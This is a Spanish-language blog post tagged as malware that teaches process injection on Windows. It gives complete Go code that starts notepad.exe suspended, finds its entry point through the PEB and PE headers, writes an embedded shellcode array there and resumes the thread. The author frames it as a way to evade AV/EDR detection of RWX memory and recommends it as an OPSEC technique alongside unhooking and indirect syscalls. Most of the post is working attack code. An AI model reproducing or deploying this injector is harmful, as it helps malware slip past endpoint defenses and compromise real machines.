· Asparux · malware · 7 min read
Shellcode injection without VirtualAllocEx RWX
Introducción
¡Hola!
Hoy veremos una manera realmente excelente en la que podemos realizar nuestras inyecciones de código shell para evitar asignar memoria con permisos RWX. Luego codificaremos un ejemplo en Golang.
Explicación
La técnica que aprenderemos hoy es una forma potencial de evadir los AV/EDR, ya que la mayoría de ellos intentan detectar si un proceso ha asignado espacio de memoria con permisos RWX, lo que sería muy probable una inyección de shellcode porque también queremos ejecutar el código escrito, por lo que si un AV/EDR detecta que ha ocurrido, nuestro malware será bloqueado y marcado como malicioso. Esa es una buena razón por la que queríamos utilizar una técnica similar a ésta.
Como explican varios posts, para lograr esto tenemos que hacer un proceso como este:
- Inicie un proceso (es decir, notepad.exe ) en estado suspendido ( CRATE_SUSPENDED ) para inyectar shellcode más adelante.
- Calcular la dirección del punto de entrada del proceso creado
- Ahora escribimos shellcode en la dirección del punto de entrada.
- Luego reanudamos el hilo del proceso.
- Y finalmente se ejecuta nuestro shellcode.
En este caso haremos esto con estas llamadas API: CreateProcess, ReadProcessMemory, WriteProcessMemory, ResumeThread y NtQueryInformationProcess
Pero también puedes hacerlo con las funciones Nt apropiadas como NtCreateProcess, y NtReadVirtualMemory, aunque por brevedad y simplicidad, lo haremos más fácil con las otras llamadas. NtWriteVirtualMemory NtResumeThread
Si se pregunta cómo podemos calcular la dirección del punto de entrada, primero se obtiene la base de la imagen del proceso, luego analizamos los encabezados NT y opcionales para finalmente poder encontrar la dirección del punto de entrada ( dirección virtual relativa ).
Código
Comencemos importando los paquetes que veremos.
package main
import (
"fmt"
"log"
"unsafe"
"syscall"
"encoding/binary"
"golang.org/x/sys/windows"
)
Después de esto, importamos las llamadas API.
// Cargar DLLs
kernel32 := windows.NewLazyDLL("kernel32.dll")
ntdll := windows.NewLazyDLL("ntdll.dll")
// Declarar las funciones que usaremos
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
ResumeThread := kernel32.NewProc("ResumeThread")
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
Luego creamos el proceso ya mencionado.
fmt.Println("[*] Llamando CreateProcess...")
err := windows.CreateProcess(
nil,
syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"),
nil,
nil,
false,
windows.CREATE_SUSPENDED,
nil,
nil,
&si,
&pi,
)
if err != nil {
log.Fatal(err)
}
Ahora llamamos a NtQueryInformationProcess para poder obtener el desplazamiento PEB.
fmt.Println("[*] Llamando NtQueryInformationProcess...")
NtQueryInformationProcess.Call(
uintptr(pi.Process),
uintptr(info),
uintptr(unsafe.Pointer(&pbi)),
uintptr(unsafe.Sizeof(windows.PROCESS_BASIC_INFORMATION{})),
uintptr(unsafe.Pointer(&returnLength)),
)
Luego llamemos a ReadProcessMemory para obtener la dirección base de la imagen y calcular más tarde la dirección del punto de entrada.
pebOffset:= uintptr(unsafe.Pointer(pbi.PebBaseAddress))+0x10
var imageBase uintptr = 0
fmt.Println("[*] Calling ReadProcessMemory...")
ReadProcessMemory.Call(
uintptr(pi.Process),
pebOffset,
uintptr(unsafe.Pointer(&imageBase)),
8,
0,
)
headersBuffer := make([]byte,4096)
fmt.Println("[*] Calling ReadProcessMemory...")
ReadProcessMemory.Call(
uintptr(pi.Process),
uintptr(imageBase),
uintptr(unsafe.Pointer(&headersBuffer[0])),
4096,
0,
)
fmt.Printf("\n[*] Image Base: 0x%x\n", imageBase)
fmt.Printf("[*] PEB Offset: 0x%x\n", pebOffset)
Para poder calcular la dirección del punto de entrada, necesitamos analizar el encabezado de DOS y el encabezado de NT (algunas estructuras están definidas pero las omito por brevedad, puede consultarlas en el código final)
// Analizar la entrada e_lfanew del encabezado de DOS para calcular la dirección del punto de entrada
var dosHeader IMAGE_DOS_HEADER
dosHeader.E_lfanew = binary.LittleEndian.Uint32(headersBuffer[60:64])
ntHeader := (*IMAGE_NT_HEADER)(unsafe.Pointer(uintptr(unsafe.Pointer(&headersBuffer[0])) + uintptr(dosHeader.E_lfanew)))
codeEntry := uintptr(ntHeader.OptionalHeader.AddressOfEntryPoint) + imageBase
Y finalmente usamos WriteProcessMemory y ResumeThread para escribir shellcode en la dirección del punto de entrada y reanudar el hilo del proceso.
fmt.Println("\n[*] Llamando WriteProcessMemory...")
WriteProcessMemory.Call(
uintptr(pi.Process),
codeEntry, // Escribir shellcode en el entry point
uintptr(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
0,
)
fmt.Println("[*] Llamando ResumeThread...") // Finalmente hacemos el resume thread
ResumeThread.Call(uintptr(pi.Thread))
Entonces el código final es algo como esto:
package main
import (
"fmt"
"log"
"unsafe"
"syscall"
"encoding/binary"
"golang.org/x/sys/windows"
)
type IMAGE_DOS_HEADER struct { // DOS .EXE header
/*E_magic uint16 // Magic number
E_cblp uint16 // Bytes on last page of file
E_cp uint16 // Pages in file
E_crlc uint16 // Relocations
E_cparhdr uint16 // Size of header in paragraphs
E_minalloc uint16 // Minimum extra paragraphs needed
E_maxalloc uint16 // Maximum extra paragraphs needed
E_ss uint16 // Initial (relative) SS value
E_sp uint16 // Initial SP value
E_csum uint16 // Checksum
E_ip uint16 // Initial IP value
E_cs uint16 // Initial (relative) CS value
E_lfarlc uint16 // File address of relocation table
E_ovno uint16 // Overlay number
E_res [4]uint16 // Reserved words
E_oemid uint16 // OEM identifier (for E_oeminfo)
E_oeminfo uint16 // OEM information; E_oemid specific
E_res2 [10]uint16 // Reserved words*/
E_lfanew uint32 // File address of new exe header
}
type IMAGE_NT_HEADER struct {
Signature uint32
FileHeader IMAGE_FILE_HEADER
OptionalHeader IMAGE_OPTIONAL_HEADER
}
type IMAGE_FILE_HEADER struct {
Machine uint16
NumberOfSections uint16
TimeDateStamp uint32
PointerToSymbolTable uint32
NumberOfSymbols uint32
SizeOfOptionalHeader uint16
Characteristics uint16
}
type IMAGE_OPTIONAL_HEADER struct {
Magic uint16
MajorLinkerVersion uint8
MinorLinkerVersion uint8
SizeOfCode uint32
SizeOfInitializedData uint32
SizeOfUninitializedData uint32
AddressOfEntryPoint uint32
BaseOfCode uint32
ImageBase uint64
SectionAlignment uint32
FileAlignment uint32
MajorOperatingSystemVersion uint16
MinorOperatingSystemVersion uint16
MajorImageVersion uint16
MinorImageVersion uint16
MajorSubsystemVersion uint16
MinorSubsystemVersion uint16
Win32VersionValue uint32
SizeOfImage uint32
SizeOfHeaders uint32
CheckSum uint32
Subsystem uint16
DllCharacteristics uint16
SizeOfStackReserve uint64
SizeOfStackCommit uint64
SizeOfHeapReserve uint64
SizeOfHeapCommit uint64
LoaderFlags uint32
NumberOfRvaAndSizes uint32
DataDirectory [16]IMAGE_DATA_DIRECTORY
}
type IMAGE_DATA_DIRECTORY struct {
VirtualAddress uint32
Size uint32
}
var shellcode []byte = []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}
func main(){
// Cargar DLLs
kernel32 := windows.NewLazyDLL("kernel32.dll")
ntdll := windows.NewLazyDLL("ntdll.dll")
// Declarar las funciones que vamos a usar
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
ResumeThread := kernel32.NewProc("ResumeThread")
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
var info int32
var returnLength int32
var pbi windows.PROCESS_BASIC_INFORMATION
var si windows.StartupInfo
var pi windows.ProcessInformation
/*
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
*/
fmt.Println("[*] Llamando CreateProcess...")
err := windows.CreateProcess(
nil,
syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"),
nil,
nil,
false,
windows.CREATE_SUSPENDED,
nil,
nil,
&si,
&pi,
)
if err != nil {
log.Fatal(err)
}
/*
__kernel_entry NTSTATUS NtQueryInformationProcess(
[in] HANDLE ProcessHandle,
[in] PROCESSINFOCLASS ProcessInformationClass,
[out] PVOID ProcessInformation,
[in] ULONG ProcessInformationLength,
[out, optional] PULONG ReturnLength
);
*/
fmt.Println("[*] Llamando NtQueryInformationProcess...")
NtQueryInformationProcess.Call(
uintptr(pi.Process),
uintptr(info),
uintptr(unsafe.Pointer(&pbi)),
uintptr(unsafe.Sizeof(windows.PROCESS_BASIC_INFORMATION{})),
uintptr(unsafe.Pointer(&returnLength)),
)
pebOffset:= uintptr(unsafe.Pointer(pbi.PebBaseAddress))+0x10
var imageBase uintptr = 0
/*
BOOL ReadProcessMemory(
[in] HANDLE hProcess,
[in] LPCVOID lpBaseAddress,
[out] LPVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesRead
);
*/
fmt.Println("[*] Llamando ReadProcessMemory...")
ReadProcessMemory.Call(
uintptr(pi.Process),
pebOffset,
uintptr(unsafe.Pointer(&imageBase)),
8,
0,
)
headersBuffer := make([]byte,4096)
fmt.Println("[*] Llamando ReadProcessMemory...")
ReadProcessMemory.Call(
uintptr(pi.Process),
uintptr(imageBase),
uintptr(unsafe.Pointer(&headersBuffer[0])),
4096,
0,
)
fmt.Printf("\n[*] Image Base: 0x%x\n", imageBase)
fmt.Printf("[*] PEB Offset: 0x%x\n", pebOffset)
// Analizar la entrada e_lfanew del encabezado de DOS para calcular la dirección del punto de entrada
var dosHeader IMAGE_DOS_HEADER
dosHeader.E_lfanew = binary.LittleEndian.Uint32(headersBuffer[60:64])
ntHeader := (*IMAGE_NT_HEADER)(unsafe.Pointer(uintptr(unsafe.Pointer(&headersBuffer[0])) + uintptr(dosHeader.E_lfanew)))
codeEntry := uintptr(ntHeader.OptionalHeader.AddressOfEntryPoint) + imageBase
/*
BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);
*/
fmt.Println("\n[*] Llamando WriteProcessMemory...")
WriteProcessMemory.Call(
uintptr(pi.Process),
codeEntry, // write shellcode to entry point
uintptr(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
0,
)
/*
DWORD ResumeThread(
[in] HANDLE hThread
);
*/
fmt.Println("[*] Llamando ResumeThread...") // finally resume thread
ResumeThread.Call(uintptr(pi.Thread))
// shellcode should have been executed at this point
fmt.Println("[+] Shellcode ejecutado!")
}
Manifestación
Compilemos el código.
go build main.go / go run main.go
Y finalmente lo ejecutamos.
Como puedes ver, ¡funciona de maravilla!
Conclusión
Espero que hayas aprendido una nueva técnica de inyección de shellcode para considerarla como una excelente técnica OPSEC que puede ayudarte especialmente si se combina con otras técnicas como Unhook o syscalls indirectas.
Saludos, Asparux!